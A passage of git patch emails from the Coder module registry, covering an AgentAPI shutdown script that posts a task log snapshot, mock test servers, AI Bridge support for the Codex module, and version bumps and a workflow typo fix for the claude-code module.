snapshot" + exit 1 + fi + + if ! command -v jq > /dev/null 2>&1; then + error "jq not found, cannot capture log snapshot" + exit 1 + fi + + if ! command -v curl > /dev/null 2>&1; then + error "curl not found, cannot capture log snapshot" + exit 1 + fi + + tmpdir=$(mktemp -d) + trap 'rm -rf "$tmpdir"' EXIT + + local payload_file="${tmpdir}/payload.json" + + if ! fetch_and_build_messages_payload "$payload_file"; then + error "Cannot capture log snapshot without messages" + exit 1 + fi + + local message_count + message_count=$(jq '.messages | length' < "$payload_file") + if ((message_count == 0)); then + log "No messages for log snapshot" + exit 0 + fi + + log "Retrieved $message_count messages for log snapshot" + + # Ensure payload fits within size limit. + if ! truncate_messages_payload_to_size "$payload_file" "$MAX_PAYLOAD_SIZE"; then + error "Failed to truncate payload to size limit" + exit 1 + fi + + local final_size final_count + final_size=$(wc -c < "$payload_file") + final_count=$(jq '.messages | length' < "$payload_file") + log "Log snapshot payload: $final_size bytes, $final_count messages" + + if ! post_task_log_snapshot "$payload_file" "$tmpdir"; then + error "Log snapshot capture failed" + exit 1 + fi +} + +main() { + log "Shutting down AgentAPI" + + if [[ $TASK_LOG_SNAPSHOT == true ]]; then + capture_task_log_snapshot + else + log "Log snapshot disabled, skipping" + fi + + log "Shutdown complete" +} + +main "$@" diff --git a/registry/coder/modules/agentapi/scripts/main.sh b/registry/coder/modules/agentapi/scripts/main.sh index 3875430e..63e013eb 100644 --- a/registry/coder/modules/agentapi/scripts/main.sh +++ b/registry/coder/modules/agentapi/scripts/main.sh @@ -14,6 +14,8 @@ WAIT_FOR_START_SCRIPT="$ARG_WAIT_FOR_START_SCRIPT" POST_INSTALL_SCRIPT="$ARG_POST_INSTALL_SCRIPT" AGENTAPI_PORT="$ARG_AGENTAPI_PORT" AGENTAPI_CHAT_BASE_PATH="${ARG_AGENTAPI_CHAT_BASE_PATH:-}" +TASK_ID="${ARG_TASK_ID:-}" +TASK_LOG_SNAPSHOT="${ARG_TASK_LOG_SNAPSHOT:-true}" set +o nounset command_exists() { @@ -23,6 +25,13 @@ command_exists() { module_path="$HOME/${MODULE_DIR_NAME}" mkdir -p "$module_path/scripts" +# Check for jq dependency if task log snapshot is enabled. +if [[ $TASK_LOG_SNAPSHOT == true ]] && [[ -n $TASK_ID ]]; then + if ! command_exists jq; then + echo "Warning: jq is not installed. Task log snapshot requires jq to capture conversation history." + echo "Install jq to enable log snapshot functionality when the workspace stops." + fi +fi if [ ! -d "${WORKDIR}" ]; then echo "Warning: The specified folder '${WORKDIR}' does not exist." echo "Creating the folder..." diff --git a/registry/coder/modules/agentapi/testdata/agentapi-mock-shutdown.js b/registry/coder/modules/agentapi/testdata/agentapi-mock-shutdown.js new file mode 100644 index 00000000..c6b0fb7f --- /dev/null +++ b/registry/coder/modules/agentapi/testdata/agentapi-mock-shutdown.js @@ -0,0 +1,84 @@ +#!/usr/bin/env node +// Mock AgentAPI server for shutdown script tests. +// Usage: MESSAGES='[...]' node agentapi-mock-shutdown.js [port] + +const http = require("http"); +const port = process.argv[2] || 3284; + +// Parse messages from environment or use default +let messages = []; +if (process.env.MESSAGES) { + try { + messages = JSON.parse(process.env.MESSAGES); + } catch (e) { + console.error("Failed to parse MESSAGES env var:", e.message); + process.exit(1); + } +} + +// Presets for common test scenarios +if (process.env.PRESET === "normal") { + messages = [ + { id: 1, type: "input", content: "Hello", time: "2025-01-01T00:00:00Z" }, + { + id: 2, + type: "output", + content: "Hi there", + time: "2025-01-01T00:00:01Z", + }, + { + id: 3, + type: "input", + content: "How are you?", + time: "2025-01-01T00:00:02Z", + }, + { + id: 4, + type: "output", + content: "Good!", + time: "2025-01-01T00:00:03Z", + }, + { id: 5, type: "input", content: "Great", time: "2025-01-01T00:00:04Z" }, + ]; +} else if (process.env.PRESET === "many") { + messages = Array.from({ length: 15 }, (_, i) => ({ + id: i + 1, + type: "input", + content: `Message ${i + 1}`, + time: "2025-01-01T00:00:00Z", + })); +} else if (process.env.PRESET === "huge") { + messages = [ + { + id: 1, + type: "output", + content: "x".repeat(70000), + time: "2025-01-01T00:00:00Z", + }, + ]; +} + +const server = http.createServer((req, res) => { + if (req.url === "/messages") { + res.writeHead(200, { "Content-Type": "application/json" }); + res.end(JSON.stringify({ messages })); + } else if (req.url === "/status") { + res.writeHead(200, { "Content-Type": "application/json" }); + res.end(JSON.stringify({ status: "stable" })); + } else { + res.writeHead(404); + res.end(); + } +}); + +server.listen(port, () => { + console.error(`Mock AgentAPI listening on port ${port}`); +}); + +process.on("SIGTERM", () => { + server.close(() => process.exit(0)); +}); + +process.on("SIGINT", () => { + server.close(() => process.exit(0)); +}); diff --git a/registry/coder/modules/agentapi/testdata/coder-instance-mock.js b/registry/coder/modules/agentapi/testdata/coder-instance-mock.js new file mode 100644 index 00000000..6d99215d --- /dev/null +++ b/registry/coder/modules/agentapi/testdata/coder-instance-mock.js @@ -0,0 +1,61 @@ +#!/usr/bin/env node +// Mock Coder instance server for shutdown script tests. +// Captures POST requests to /log-snapshot endpoint. + +const http = require("http"); +const fs = require("fs"); +const port = process.argv[2] || 8080; +const outputFile = process.env.OUTPUT_FILE || "/tmp/snapshot-posted.json"; +const httpCode = parseInt(process.env.HTTP_CODE || "204", 10); + +const server = http.createServer((req, res) => { + const url = new URL(req.url, `http://localhost:${port}`); + + // Expected path: /api/v2/workspaceagents/me/tasks/{task_id}/log-snapshot + const pathMatch = url.pathname.match(/\/tasks\/([^\/]+)\/log-snapshot$/); + + if (req.method === "POST" && pathMatch) { + const taskId = pathMatch[1]; + let body = ""; + req.on("data", (chunk) => { + body += chunk.toString(); + }); + + req.on("end", () => { + // Save captured snapshot with task ID for verification + const snapshotData = { + task_id: taskId, + payload: JSON.parse(body), + }; + fs.writeFileSync(outputFile, JSON.stringify(snapshotData, null, 2)); + console.error( + `Captured snapshot for task ${taskId} (${body.length} bytes) to ${outputFile}`, + ); + + // Return configured status code + res.writeHead(httpCode); + res.end(); + }); + + req.on("error", (err) => { + console.error("Request error:", err); + res.writeHead(500); + res.end(); + }); + } else { + res.writeHead(404); + res.end(); + } +}); + +server.listen(port, () => { + console.error(`Mock Coder instance listening on port ${port}`); +}); + +process.on("SIGTERM", () => { + server.close(() => process.exit(0)); +}); + +process.on("SIGINT", () => { + server.close(() => process.exit(0)); +}); From 360b3cd3ce90f536138dd6b7aed5689c199ea117 Mon Sep 17 00:00:00 2001 From: 35C4n0r <70096901+35C4n0r@users.noreply.github.com> Date: Sat, 31 Jan 2026 08:41:19 +0530 Subject: [PATCH 14/33] feat(coder-labs/modules/codex): add support for aibridge (#655) ## Description - Add support for AI Bridge ## Type of Change - [ ] New module - [ ] New template - [ ] Bug fix - [x] Feature/enhancement - [ ] Documentation - [ ] Other ## Module Information **Path:** `registry/coder-labs/modules/codex` **New version:** `v4.1.0` **Breaking change:** [ ] Yes [x] No ## Testing & Validation - [x] Tests pass (`bun test`) - [x] Code formatted (`bun fmt`) - [x] Changes tested locally ## Related Issues Closes: #650 --------- Co-authored-by: DevCats Co-authored-by: Atif Ali --- registry/coder-labs/modules/codex/README.md | 111 ++++++++++++------ .../coder-labs/modules/codex/main.test.ts | 36 +++++- registry/coder-labs/modules/codex/main.tf | 49 +++++++- .../modules/codex/scripts/install.sh | 22 +++- .../coder-labs/modules/codex/scripts/start.sh | 7 +- 5 files changed, 183 insertions(+), 42 deletions(-) diff --git a/registry/coder-labs/modules/codex/README.md b/registry/coder-labs/modules/codex/README.md index f98f9882..1ca7c9c5 100644 --- a/registry/coder-labs/modules/codex/README.md +++ b/registry/coder-labs/modules/codex/README.md @@ -3,7 +3,7 @@ display_name: Codex CLI icon: ../../../../.icons/openai.svg description: Run Codex CLI in your workspace with AgentAPI integration verified: true -tags: [agent, codex, ai, openai, tasks] +tags: [agent, codex, ai, openai, tasks, aibridge] --- # Codex CLI @@ -13,7 +13,7 @@ Run Codex CLI in your workspace to access OpenAI's models through the Codex inte ```tf module "codex" { source = "registry.coder.com/coder-labs/codex/coder" - version = "4.0.0" + version = "4.1.0" agent_id = coder_agent.example.id openai_api_key = var.openai_api_key workdir = "/home/coder/project" @@ -32,7 +32,7 @@ module "codex" { module "codex" { count = data.coder_workspace.me.start_count source = "registry.coder.com/coder-labs/codex/coder" - version = "4.0.0" + version = "4.1.0" agent_id = coder_agent.example.id openai_api_key = "..." workdir = "/home/coder/project" @@ -40,7 +40,49 @@ module "codex" { } ``` -### Tasks integration +### Usage with AI Bridge + +[AI Bridge](https://coder.com/docs/ai-coder/ai-bridge) is a Premium Coder feature that provides centralized LLM proxy management. To use AI Bridge, set `enable_aibridge = true`. Requires Coder version 2.30+ + +For tasks integration with AI Bridge, add `enable_aibridge = true` to the [Usage with Tasks](#usage-with-tasks) example below. + +#### Standalone usage with AI Bridge + +```tf +module "codex" { + source = "registry.coder.com/coder-labs/codex/coder" + version = "4.1.0" + agent_id = coder_agent.example.id + workdir = "/home/coder/project" + enable_aibridge = true +} +``` + +When `enable_aibridge = true`, the module: + +- Configures Codex to use the AI Bridge profile with `base_url` pointing to `${data.coder_workspace.me.access_url}/api/v2/aibridge/openai/v1` and `env_key` pointing to the workspace owner's session token + +```toml +[model_providers.aibridge] +name = "AI Bridge" +base_url = "https://example.coder.com/api/v2/aibridge/openai/v1" +env_key = "CODER_AIBRIDGE_SESSION_TOKEN" +wire_api = "responses" + +[profiles.aibridge] +model_provider = "aibridge" +model = "" # as configured in the module input +model_reasoning_effort = "" # as configured in the module input +``` + +Codex then runs with `--profile aibridge` + +This allows Codex to route API requests through Coder's AI Bridge instead of directly to OpenAI's API. +Template build will fail if `openai_api_key` is provided alongside `enable_aibridge = true`. + +### Usage with Tasks + +This example shows how to configure Codex with Coder tasks. ```tf resource "coder_ai_task" "task" { @@ -52,17 +94,46 @@ data "coder_task" "me" {} module "codex" { source = "registry.coder.com/coder-labs/codex/coder" - version = "4.0.0" + version = "4.1.0" agent_id = coder_agent.example.id openai_api_key = "..." ai_prompt = data.coder_task.me.prompt workdir = "/home/coder/project" - # Custom configuration for full auto mode + # Optional: route through AI Bridge (Premium feature) + # enable_aibridge = true +} +``` + +### Advanced Configuration + +This example shows additional configuration options for custom models, MCP servers, and base configuration. + +```tf +module "codex" { + source = "registry.coder.com/coder-labs/codex/coder" + version = "4.1.0" + agent_id = coder_agent.example.id + openai_api_key = "..." + workdir = "/home/coder/project" + + codex_version = "0.1.0" # Pin to a specific version + codex_model = "gpt-4o" # Custom model + + # Override default configuration base_config_toml = <<-EOT + sandbox_mode = "danger-full-access" approval_policy = "never" preferred_auth_method = "apikey" EOT + + # Add extra MCP servers + additional_mcp_servers = <<-EOT + [mcp_servers.GitHub] + command = "npx" + args = ["-y", "@modelcontextprotocol/server-github"] + type = "stdio" + EOT } ``` @@ -92,33 +163,6 @@ preferred_auth_method = "apikey" network_access = true ``` -### Custom Configuration - -For custom Codex configuration, use `base_config_toml` and/or `additional_mcp_servers`: - -```tf -module "codex" { - source = "registry.coder.com/coder-labs/codex/coder" - version = "4.0.0" - # ... other variables ... - - # Override default configuration - base_config_toml = <<-EOT - sandbox_mode = "danger-full-access" - approval_policy = "never" - preferred_auth_method = "apikey" - EOT - - # Add extra MCP servers - additional_mcp_servers = <<-EOT - [mcp_servers.GitHub] - command = "npx" - args = ["-y", "@modelcontextprotocol/server-github"] - type = "stdio" - EOT -} -``` - > [!NOTE] > If no custom configuration is provided, the module uses secure defaults. The Coder MCP server is always included automatically. For containerized workspaces (Docker/Kubernetes), you may need `sandbox_mode = "danger-full-access"` to avoid permission issues. For advanced options, see [Codex config docs](https://github.com/openai/codex/blob/main/codex-rs/config.md). @@ -137,3 +181,4 @@ module "codex" { - [Codex CLI Documentation](https://github.com/openai/codex) - [AgentAPI Documentation](https://github.com/coder/agentapi) - [Coder AI Agents Guide](https://coder.com/docs/tutorials/ai-agents) +- [AI Bridge](https://coder.com/docs/ai-coder/ai-bridge) diff --git a/registry/coder-labs/modules/codex/main.test.ts b/registry/coder-labs/modules/codex/main.test.ts index 2041e36e..a4edd818 100644 --- a/registry/coder-labs/modules/codex/main.test.ts +++ b/registry/coder-labs/modules/codex/main.test.ts @@ -113,7 +113,7 @@ describe("codex", async () => { sandbox_mode = "danger-full-access" approval_policy = "never" preferred_auth_method = "apikey" - + [custom_section] new_feature = true `.trim(); @@ -189,7 +189,7 @@ describe("codex", async () => { args = ["-y", "@modelcontextprotocol/server-github"] type = "stdio" description = "GitHub integration" - + [mcp_servers.FileSystem] command = "npx" args = ["-y", "@modelcontextprotocol/server-filesystem", "/workspace"] @@ -215,7 +215,7 @@ describe("codex", async () => { approval_policy = "untrusted" preferred_auth_method = "chatgpt" custom_setting = "test-value" - + [advanced_settings] timeout = 30000 debug = true @@ -228,7 +228,7 @@ describe("codex", async () => { args = ["--serve", "--port", "8080"] type = "stdio" description = "Custom development tool" - + [mcp_servers.DatabaseMCP] command = "python" args = ["-m", "database_mcp_server"] @@ -454,4 +454,32 @@ describe("codex", async () => { ); expect(startLog.stdout).not.toContain("test prompt"); }); + + test("codex-with-aibridge", async () => { + const { id } = await setup({ + moduleVariables: { + enable_aibridge: "true", + model_reasoning_effort: "none", + }, + }); + + await execModuleScript(id); + + const startLog = await readFileContainer( + id, + "/home/coder/.codex-module/agentapi-start.log", + ); + + const configToml = await readFileContainer( + id, + "/home/coder/.codex/config.toml", + ); + expect(startLog).toContain("AI Bridge is enabled, using profile aibridge"); + expect(startLog).toContain( + "Starting Codex with arguments: --profile aibridge", + ); + expect(configToml).toContain( + "[profiles.aibridge]\n" + 'model_provider = "aibridge"', + ); + }); }); diff --git a/registry/coder-labs/modules/codex/main.tf b/registry/coder-labs/modules/codex/main.tf index 20351839..2f65df86 100644 --- a/registry/coder-labs/modules/codex/main.tf +++ b/registry/coder-labs/modules/codex/main.tf @@ -1,5 +1,5 @@ terraform { - required_version = ">= 1.0" + required_version = ">= 1.9" required_providers { coder = { @@ -71,6 +71,27 @@ variable "cli_app_display_name" { default = "Codex CLI" } +variable "enable_aibridge" { + type = bool + description = "Use AI Bridge for Codex. https://coder.com/docs/ai-coder/ai-bridge" + default = false + + validation { + condition = !(var.enable_aibridge && length(var.openai_api_key) > 0) + error_message = "openai_api_key cannot be provided when enable_aibridge is true. AI Bridge automatically authenticates the client using Coder credentials." + } +} + +variable "model_reasoning_effort" { + type = string + description = "The reasoning effort for the AI Bridge model. One of: none, low, medium, high. https://platform.openai.com/docs/guides/latest-model#lower-reasoning-effort" + default = "medium" + validation { + condition = contains(["none", "low", "medium", "high"], var.model_reasoning_effort) + error_message = "model_reasoning_effort must be one of: none, low, medium, high." + } +} + variable "install_codex" { type = bool description = "Whether to install Codex." @@ -115,8 +136,8 @@ variable "agentapi_version" { variable "codex_model" { type = string - description = "The model for Codex to use. Defaults to gpt-5.1-codex-max." - default = "" + description = "The model for Codex to use. Defaults to gpt-5.2-codex." + default = "gpt-5.2-codex" } variable "pre_install_script" { @@ -155,12 +176,31 @@ resource "coder_env" "openai_api_key" { value = var.openai_api_key } +resource "coder_env" "coder_aibridge_session_token" { + count = var.enable_aibridge ? 1 : 0 + agent_id = var.agent_id + name = "CODER_AIBRIDGE_SESSION_TOKEN" + value = data.coder_workspace_owner.me.session_token +} + locals { workdir = trimsuffix(var.workdir, "/") app_slug = "codex" install_script = file("${path.module}/scripts/install.sh") start_script = file("${path.module}/scripts/start.sh") module_dir_name = ".codex-module" + aibridge_config = <<-EOF + [model_providers.aibridge] + name = "AI Bridge" + base_url = "${data.coder_workspace.me.access_url}/api/v2/aibridge/openai/v1" + env_key = "CODER_AIBRIDGE_SESSION_TOKEN" + wire_api = "responses" + + [profiles.aibridge] + model_provider = "aibridge" + model = "${var.codex_model}" + model_reasoning_effort = "${var.model_reasoning_effort}" + EOF } module "agentapi" { @@ -196,6 +236,7 @@ module "agentapi" { ARG_CODEX_START_DIRECTORY='${local.workdir}' \ ARG_CODEX_TASK_PROMPT='${base64encode(var.ai_prompt)}' \ ARG_CONTINUE='${var.continue}' \ + ARG_ENABLE_AIBRIDGE='${var.enable_aibridge}' \ /tmp/start.sh EOT @@ -211,6 +252,8 @@ module "agentapi" { ARG_INSTALL='${var.install_codex}' \ ARG_CODEX_VERSION='${var.codex_version}' \ ARG_BASE_CONFIG_TOML='${base64encode(var.base_config_toml)}' \ + ARG_ENABLE_AIBRIDGE='${var.enable_aibridge}' \ + ARG_AIBRIDGE_CONFIG='${base64encode(var.enable_aibridge ? local.aibridge_config : "")}' \ ARG_ADDITIONAL_MCP_SERVERS='${base64encode(var.additional_mcp_servers)}' \ ARG_CODER_MCP_APP_STATUS_SLUG='${local.app_slug}' \ ARG_CODEX_START_DIRECTORY='${local.workdir}' \ diff --git a/registry/coder-labs/modules/codex/scripts/install.sh b/registry/coder-labs/modules/codex/scripts/install.sh index 62842165..97d539a8 100644 --- a/registry/coder-labs/modules/codex/scripts/install.sh +++ b/registry/coder-labs/modules/codex/scripts/install.sh @@ -13,6 +13,8 @@ set -o nounset ARG_BASE_CONFIG_TOML=$(echo -n "$ARG_BASE_CONFIG_TOML" | base64 -d) ARG_ADDITIONAL_MCP_SERVERS=$(echo -n "$ARG_ADDITIONAL_MCP_SERVERS" | base64 -d) ARG_CODEX_INSTRUCTION_PROMPT=$(echo -n "$ARG_CODEX_INSTRUCTION_PROMPT" | base64 -d) +ARG_ENABLE_AIBRIDGE=${ARG_ENABLE_AIBRIDGE:-false} +ARG_AIBRIDGE_CONFIG=$(echo -n "$ARG_AIBRIDGE_CONFIG" | base64 -d) echo "=== Codex Module Configuration ===" printf "Install Codex: %s\n" "$ARG_INSTALL" @@ -24,6 +26,7 @@ printf "Has Additional MCP: %s\n" "$([ -n "$ARG_ADDITIONAL_MCP_SERVERS" ] && ech printf "Has System Prompt: %s\n" "$([ -n "$ARG_CODEX_INSTRUCTION_PROMPT" ] && echo "Yes" || echo "No")" printf "OpenAI API Key: %s\n" "$([ -n "$ARG_OPENAI_API_KEY" ] && echo "Provided" || echo "Not provided")" printf "Report Tasks: %s\n" "$ARG_REPORT_TASKS" +printf "Enable Coder AI Bridge: %s\n" "$ARG_ENABLE_AIBRIDGE" echo "======================================" set +o nounset @@ -127,6 +130,15 @@ EOF fi } +append_aibridge_config_section() { + local config_path="$1" + + if [ -n "$ARG_AIBRIDGE_CONFIG" ]; then + printf "Adding AI Bridge configuration\n" + echo -e "\n# AI Bridge Configuration\n$ARG_AIBRIDGE_CONFIG" >> "$config_path" + fi +} + function populate_config_toml() { CONFIG_PATH="$HOME/.codex/config.toml" mkdir -p "$(dirname "$CONFIG_PATH")" @@ -140,6 +152,11 @@ function populate_config_toml() { fi append_mcp_servers_section "$CONFIG_PATH" + + if [ "$ARG_ENABLE_AIBRIDGE" = "true" ]; then + printf "AI Bridge is enabled\n" + append_aibridge_config_section "$CONFIG_PATH" + fi } function add_instruction_prompt_if_exists() { @@ -185,4 +202,7 @@ install_codex codex --version populate_config_toml add_instruction_prompt_if_exists -add_auth_json + +if [ "$ARG_ENABLE_AIBRIDGE" = "false" ]; then + add_auth_json +fi diff --git a/registry/coder-labs/modules/codex/scripts/start.sh b/registry/coder-labs/modules/codex/scripts/start.sh index e77436f1..3e55dc70 100644 --- a/registry/coder-labs/modules/codex/scripts/start.sh +++ b/registry/coder-labs/modules/codex/scripts/start.sh @@ -18,6 +18,7 @@ printf "Version: %s\n" "$(codex --version)" set -o nounset ARG_CODEX_TASK_PROMPT=$(echo -n "$ARG_CODEX_TASK_PROMPT" | base64 -d) ARG_CONTINUE=${ARG_CONTINUE:-true} +ARG_ENABLE_AIBRIDGE=${ARG_ENABLE_AIBRIDGE:-false} echo "=== Codex Launch Configuration ===" printf "OpenAI API Key: %s\n" "$([ -n "$ARG_OPENAI_API_KEY" ] && echo "Provided" || echo "Not provided")" @@ -26,6 +27,7 @@ printf "Start Directory: %s\n" "$ARG_CODEX_START_DIRECTORY" printf "Has Task Prompt: %s\n" "$([ -n "$ARG_CODEX_TASK_PROMPT" ] && echo "Yes" || echo "No")" printf "Report Tasks: %s\n" "$ARG_REPORT_TASKS" printf "Continue Sessions: %s\n" "$ARG_CONTINUE" +printf "Enable Coder AI Bridge: %s\n" "$ARG_ENABLE_AIBRIDGE" echo "======================================" set +o nounset @@ -153,7 +155,10 @@ setup_workdir() { build_codex_args() { CODEX_ARGS=() - if [ -n "$ARG_CODEX_MODEL" ]; then + if [ "$ARG_ENABLE_AIBRIDGE" = "true" ]; then + printf "AI Bridge is enabled, using profile aibridge\n" + CODEX_ARGS+=("--profile" "aibridge") + elif [ -n "$ARG_CODEX_MODEL" ]; then CODEX_ARGS+=("--model" "$ARG_CODEX_MODEL") fi From a10d5fa6a0bed0a5738221a402bf79a6f5073418 Mon Sep 17 00:00:00 2001 From: 35C4n0r <70096901+35C4n0r@users.noreply.github.com> Date: Sat, 31 Jan 2026 09:44:41 +0530 Subject: [PATCH 15/33] fix(coder/modules/claude-code): update terraform required version to >= 1.9 (#688) ## Description - Update terraform version for claude-code module. - Update coder version required in readme ## Type of Change - [ ] New module - [ ] New template - [x] Bug fix - [ ] Feature/enhancement - [ ] Documentation - [ ] Other ## Module Information **Path:** `registry/coder/modules/claude-code` **New version:** `v4.7.2` **Breaking change:** [ ] Yes [x] No ## Testing & Validation - [x] Tests pass (`bun test`) - [x] Code formatted (`bun fmt`) - [x] Changes tested locally ## Related Issues --- registry/coder/modules/claude-code/README.md | 20 ++++++++++---------- registry/coder/modules/claude-code/main.tf | 2 +- 2 files changed, 11 insertions(+), 11 deletions(-) diff --git a/registry/coder/modules/claude-code/README.md b/registry/coder/modules/claude-code/README.md index b27fe1e9..821bf465 100644 --- a/registry/coder/modules/claude-code/README.md +++ b/registry/coder/modules/claude-code/README.md @@ -13,7 +13,7 @@ Run the [Claude Code](https://docs.anthropic.com/en/docs/agents-and-tools/claude ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.1" + version = "4.7.2" agent_id = coder_agent.main.id workdir = "/home/coder/project" claude_api_key = "xxxx-xxxxx-xxxx" @@ -47,7 +47,7 @@ By default, when `enable_boundary = true`, the module uses `coder boundary` subc ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.1" + version = "4.7.2" agent_id = coder_agent.main.id workdir = "/home/coder/project" enable_boundary = true @@ -59,7 +59,7 @@ module "claude-code" { ### Usage with AI Bridge -[AI Bridge](https://coder.com/docs/ai-coder/ai-bridge) is a Premium Coder feature that provides centralized LLM proxy management. To use AI Bridge, set `enable_aibridge = true`. +[AI Bridge](https://coder.com/docs/ai-coder/ai-bridge) is a Premium Coder feature that provides centralized LLM proxy management. To use AI Bridge, set `enable_aibridge = true`. Requires Coder version >= 2.29.0. For tasks integration with AI Bridge, add `enable_aibridge = true` to the [Usage with Tasks](#usage-with-tasks) example below. @@ -68,7 +68,7 @@ For tasks integration with AI Bridge, add `enable_aibridge = true` to the [Usage ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.1" + version = "4.7.2" agent_id = coder_agent.main.id workdir = "/home/coder/project" enable_aibridge = true @@ -97,7 +97,7 @@ data "coder_task" "me" {} module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.1" + version = "4.7.2" agent_id = coder_agent.main.id workdir = "/home/coder/project" claude_api_key = "xxxx-xxxxx-xxxx" @@ -121,7 +121,7 @@ This example shows additional configuration options for version pinning, custom ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.1" + version = "4.7.2" agent_id = coder_agent.main.id workdir = "/home/coder/project" @@ -177,7 +177,7 @@ Run and configure Claude Code as a standalone CLI in your workspace. ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.1" + version = "4.7.2" agent_id = coder_agent.main.id workdir = "/home/coder/project" install_claude_code = true @@ -199,7 +199,7 @@ variable "claude_code_oauth_token" { module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.1" + version = "4.7.2" agent_id = coder_agent.main.id workdir = "/home/coder/project" claude_code_oauth_token = var.claude_code_oauth_token @@ -272,7 +272,7 @@ resource "coder_env" "bedrock_api_key" { module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.1" + version = "4.7.2" agent_id = coder_agent.main.id workdir = "/home/coder/project" model = "global.anthropic.claude-sonnet-4-5-20250929-v1:0" @@ -329,7 +329,7 @@ resource "coder_env" "google_application_credentials" { module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.1" + version = "4.7.2" agent_id = coder_agent.main.id workdir = "/home/coder/project" model = "claude-sonnet-4@20250514" diff --git a/registry/coder/modules/claude-code/main.tf b/registry/coder/modules/claude-code/main.tf index 7e5343ac..bfb1ad15 100644 --- a/registry/coder/modules/claude-code/main.tf +++ b/registry/coder/modules/claude-code/main.tf @@ -1,5 +1,5 @@ terraform { - required_version = ">= 1.0" + required_version = ">= 1.9" required_providers { coder = { From e25a972d7ddda5e698149e8d435b1b40f0034cf6 Mon Sep 17 00:00:00 2001 From: 35C4n0r <70096901+35C4n0r@users.noreply.github.com> Date: Mon, 2 Feb 2026 21:03:56 +0530 Subject: [PATCH 16/33] fix(workflows/version-bump.yaml): fix typo in case statement (#687) ## Description - Fix typo in version bump workflow ## Type of Change - [ ] New module - [ ] New template - [x] Bug fix - [ ] Feature/enhancement - [ ] Documentation - [ ] Other ## Testing & Validation - [x] Tests pass (`bun test`) - [x] Code formatted (`bun fmt`) - [x] Changes tested locally --- .github/workflows/version-bump.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/version-bump.yaml b/.github/workflows/version-bump.yaml index 6637cacc..2e255414 100644 --- a/.github/workflows/version-bump.yaml +++ b/.github/workflows/version-bump.yaml @@ -41,7 +41,7 @@ jobs: LABEL_NAME: ${{ github.event.label.name }} id: bump-type run: | - case "$LABEL_NAME" in in + case "$LABEL_NAME" in "version:patch") echo "type=patch" >> $GITHUB_OUTPUT ;; From 66662db5aa699e83c17c0c91c57e215fcc467823 Mon Sep 17 00:00:00 2001 From: Atif Ali Date: Mon, 2 Feb 2026 21:02:06 +0500 Subject: [PATCH 17/33] fix(claude-code): fix example for using AI Bridge (#691) Co-authored-by: 35C4n0r <70096901+35C4n0r@users.noreply.github.com> --- registry/coder/modules/claude-code/README.md | 31 ++++++++++---------- 1 file changed, 15 insertions(+), 16 deletions(-) diff --git a/registry/coder/modules/claude-code/README.md b/registry/coder/modules/claude-code/README.md index 821bf465..7bfa7590 100644 --- a/registry/coder/modules/claude-code/README.md +++ b/registry/coder/modules/claude-code/README.md @@ -13,7 +13,7 @@ Run the [Claude Code](https://docs.anthropic.com/en/docs/agents-and-tools/claude ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.2" + version = "4.7.3" agent_id = coder_agent.main.id workdir = "/home/coder/project" claude_api_key = "xxxx-xxxxx-xxxx" @@ -47,7 +47,7 @@ By default, when `enable_boundary = true`, the module uses `coder boundary` subc ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.2" + version = "4.7.3" agent_id = coder_agent.main.id workdir = "/home/coder/project" enable_boundary = true @@ -68,7 +68,7 @@ For tasks integration with AI Bridge, add `enable_aibridge = true` to the [Usage ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.2" + version = "4.7.3" agent_id = coder_agent.main.id workdir = "/home/coder/project" enable_aibridge = true @@ -96,12 +96,11 @@ resource "coder_ai_task" "task" { data "coder_task" "me" {} module "claude-code" { - source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.2" - agent_id = coder_agent.main.id - workdir = "/home/coder/project" - claude_api_key = "xxxx-xxxxx-xxxx" - ai_prompt = data.coder_task.me.prompt + source = "registry.coder.com/coder/claude-code/coder" + version = "4.7.3" + agent_id = coder_agent.main.id + workdir = "/home/coder/project" + ai_prompt = data.coder_task.me.prompt # Optional: route through AI Bridge (Premium feature) # enable_aibridge = true @@ -121,7 +120,7 @@ This example shows additional configuration options for version pinning, custom ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.2" + version = "4.7.3" agent_id = coder_agent.main.id workdir = "/home/coder/project" @@ -177,7 +176,7 @@ Run and configure Claude Code as a standalone CLI in your workspace. ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.2" + version = "4.7.3" agent_id = coder_agent.main.id workdir = "/home/coder/project" install_claude_code = true @@ -199,7 +198,7 @@ variable "claude_code_oauth_token" { module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.2" + version = "4.7.3" agent_id = coder_agent.main.id workdir = "/home/coder/project" claude_code_oauth_token = var.claude_code_oauth_token @@ -210,7 +209,7 @@ module "claude-code" { #### Prerequisites -AWS account with Bedrock access, Claude models enabled in Bedrock console, appropriate IAM permissions. +AWS account with Bedrock access, Claude models enabled in Bedrock console, and appropriate IAM permissions. Configure Claude Code to use AWS Bedrock for accessing Claude models through your AWS infrastructure. @@ -272,7 +271,7 @@ resource "coder_env" "bedrock_api_key" { module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.7.2" + version = "4.7.3" agent_id = coder_agent.main.id workdir = "/home/coder/project" model = "global.anthropic.claude-sonnet-4-5-20250929-v1:0" @@ -286,7 +285,7 @@ module "claude-code" { #### Prerequisites -GCP project with Vertex AI API enabled, Claude models enabled through Model Garden, service account with Vertex AI permissions, appropriate IAM permissions (Vertex AI User role). +GCP project with Vertex AI API enabled, Claude models enabled through Model Garden, service account with Vertex AI permissions, and appropriate IAM permissions (Vertex AI User role). Configure Claude Code to use Google Vertex AI for accessing Claude models through Google Cloud Platform. @@ -329,7 +328,7 